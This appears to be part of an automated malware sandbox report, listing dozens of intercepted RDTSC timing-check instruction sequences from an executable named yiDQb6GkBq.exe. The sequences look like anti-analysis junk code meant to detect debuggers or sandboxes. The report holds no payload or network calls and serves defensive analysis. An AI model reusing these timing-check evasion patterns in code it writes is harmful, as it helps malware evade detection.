Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8E0BCA second address: 8E0BE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push edx 0x0000000a jnp 00007F33B10E1B0Ch 0x00000010 jc 00007F33B10E1B12h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8E0EA5 second address: 8E0EA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8E0EA9 second address: 8E0ECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B10E1B0Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f jmp 00007F33B10E1B0Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8E5678 second address: 8E5688 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007F33B0B7C6C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8E5688 second address: 8E5696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B10E1B0Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8E5696 second address: 8E56A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8E56A2 second address: 8E56AC instructions: 0x00000000 rdtsc 0x00000002 jne 00007F33B10E1B06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 898ACC second address: 898B28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 jnl 00007F33B0B7C6D4h 0x0000000d nop 0x0000000e call 00007F33B0B7C6CBh 0x00000013 call 00007F33B0B7C6CEh 0x00000018 jmp 00007F33B0B7C6D8h 0x0000001d pop edx 0x0000001e pop ecx 0x0000001f push 00000004h 0x00000021 nop 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 je 00007F33B0B7C6C6h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 898B28 second address: 898B32 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F33B10E1B06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8EAF2B second address: 8EAF37 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8EAF37 second address: 8EAF6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F33B10E1B19h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8EAF6C second address: 8EAF72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8EAF72 second address: 8EAF7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8EAF7B second address: 8EAF96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8EB0DB second address: 8EB0E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8EB0E1 second address: 8EB0E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8EB0E5 second address: 8EB0F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8EB25A second address: 8EB260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8EB260 second address: 8EB27C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F33B10E1B14h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8EB27C second address: 8EB282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8EB398 second address: 8EB39D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8EB39D second address: 8EB3A2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8EB3A2 second address: 8EB3AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8F3B29 second address: 8F3B2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8F3B2F second address: 8F3B33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8F3B33 second address: 8F3B5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007F33B0B7C6E2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8F23D2 second address: 8F23D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8F23D6 second address: 8F23E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F33B0B7C6CAh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8F2962 second address: 8F2989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B10E1B0Bh 0x00000009 jmp 00007F33B10E1B15h 0x0000000e push esi 0x0000000f pop esi 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8F3244 second address: 8F325C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F33B0B7C6D2h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8F325C second address: 8F3269 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnl 00007F33B10E1B06h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8F7B85 second address: 8F7B92 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F33B0B7C6C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8F6D3F second address: 8F6D45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8F6D45 second address: 8F6D4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8F6D4B second address: 8F6D50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8F744C second address: 8F7450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8F7450 second address: 8F7454 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8F75A0 second address: 8F75A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 9043D4 second address: 9043ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push esi 0x0000000c jo 00007F33B10E1B06h 0x00000012 pop esi 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 902385 second address: 90238F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F33B0B7C6C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 90238F second address: 9023A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33B10E1B0Eh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 902563 second address: 902589 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6D6h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c pushad 0x0000000d je 00007F33B0B7C6CCh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 902589 second address: 90259E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B10E1B0Ah 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 9028B4 second address: 9028B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 902A1E second address: 902A23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 902A23 second address: 902A29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 90317F second address: 903183 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 903183 second address: 9031AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6CEh 0x00000007 jns 00007F33B0B7C6C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jp 00007F33B0B7C6D2h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 9031AD second address: 9031C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F33B10E1B06h 0x00000009 push edi 0x0000000a pop edi 0x0000000b pushad 0x0000000c popad 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jp 00007F33B10E1B06h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 9031C8 second address: 9031CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 9031CC second address: 9031F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007F33B10E1B11h 0x0000000e jng 00007F33B10E1B06h 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 903365 second address: 903387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F33B0B7C6D7h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 903A7E second address: 903A84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 903A84 second address: 903AB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F33B0B7C6D6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 903AB5 second address: 903ABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 90D370 second address: 90D38E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6D4h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 90D38E second address: 90D392 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 90D392 second address: 90D398 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 90D398 second address: 90D3B1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F33B10E1B0Ch 0x00000008 ja 00007F33B10E1B06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jnc 00007F33B10E1B2Dh 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 90E94A second address: 90E94E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 90E94E second address: 90E952 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 914890 second address: 914894 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 914894 second address: 9148A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 85588F second address: 8558A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jbe 00007F33B0B7C6EDh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8558A8 second address: 8558AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 9203D1 second address: 9203D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 920561 second address: 920565 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 920565 second address: 92058C instructions: 0x00000000 rdtsc 0x00000002 jns 00007F33B0B7C6C6h 0x00000008 jmp 00007F33B0B7C6CAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F33B0B7C6CEh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 92058C second address: 9205A6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F33B10E1B06h 0x00000008 jmp 00007F33B10E1B10h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 9205A6 second address: 9205B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jl 00007F33B0B7C6C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 9205B2 second address: 9205C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007F33B10E1B0Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 927757 second address: 927766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 927766 second address: 927770 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F33B10E1B06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 927770 second address: 927776 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 85A997 second address: 85A9A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F33B10E1B06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 85A9A1 second address: 85A9AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 92A63B second address: 92A641 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 9305A8 second address: 9305D4 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F33B0B7C6C6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnl 00007F33B0B7C6E0h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 9305D4 second address: 9305E9 instructions: 0x00000000 rdtsc 0x00000002 je 00007F33B10E1B0Ah 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d jg 00007F33B10E1B06h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 938BEE second address: 938BF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 938BF4 second address: 938BF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 938BF8 second address: 938C32 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F33B0B7C6C6h 0x00000008 jmp 00007F33B0B7C6D5h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jng 00007F33B0B7C6DBh 0x00000015 jmp 00007F33B0B7C6D3h 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 938C32 second address: 938C56 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jng 00007F33B10E1B06h 0x00000009 jl 00007F33B10E1B06h 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F33B10E1B10h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 938C56 second address: 938C7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e jnp 00007F33B0B7C6C6h 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 9376C1 second address: 9376CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F33B10E1B06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 9376CD second address: 9376E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 jno 00007F33B0B7C6C6h 0x0000000e jp 00007F33B0B7C6C6h 0x00000014 pop eax 0x00000015 push ebx 0x00000016 push eax 0x00000017 pop eax 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 9376E6 second address: 9376F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F33B10E1B06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 9376F0 second address: 9376F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 937B2E second address: 937B43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007F33B10E1B06h 0x0000000f jng 00007F33B10E1B06h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 937B43 second address: 937B47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 937C7D second address: 937C82 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 937C82 second address: 937C88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 93C6E3 second address: 93C6E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
